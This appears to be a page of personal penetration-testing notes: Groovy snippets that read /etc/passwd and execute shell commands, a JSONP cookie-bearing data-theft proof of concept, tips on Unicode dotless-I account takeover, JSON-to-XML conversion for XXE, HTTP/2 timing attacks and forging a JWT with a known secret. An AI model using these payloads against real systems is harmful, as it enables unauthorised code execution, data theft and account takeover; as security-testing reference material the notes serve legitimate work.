Comment on page
Other
new File("/etc/passwd").withReader('UTF-8') { reader ->
def line
while ((line = reader.readLine()) != null) {
println "${line}"
}
}
def process = "ls -lah".execute()
println "${process.text}"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ls -lah'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "$sout"
Only useful if a jsonp endpoints requires authentication. A Victim at attacker.com will retrieve the data from victim.com and send its cookie along because of how jsonp works (Reference: https://www.sjoerdlangkemper.nl/2019/01/02/jsonp/).
<html>
<body>
<script>
function xct(a) {
alert(JSON.stringify(a));
}
</script>
<script src="targeturl?callback=xct"></script>
<body>
</html>
We can use some special characters like the dotless I to abuse "toUpperCase()", registering for example an admin email address. Reference: https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/
Change JSON Post requests to XML Format, sometimes this works and can be used for XXE, e.g. https://twitter.com/11xuxx/status/1250764273623629826
docker run -it 'ymuski/curl-http3' bash
The idea is to use HTTP2 to send multiple requests in one which allows us to measure the difference, by looking at which comes back first. Repeat this a lot to get some statistical relevance.
import jwt
data = {"data": {"username": "xct"}}
print(jwt.encode(data, "6cb9...", algorithm="HS256"))
Last modified 9mo ago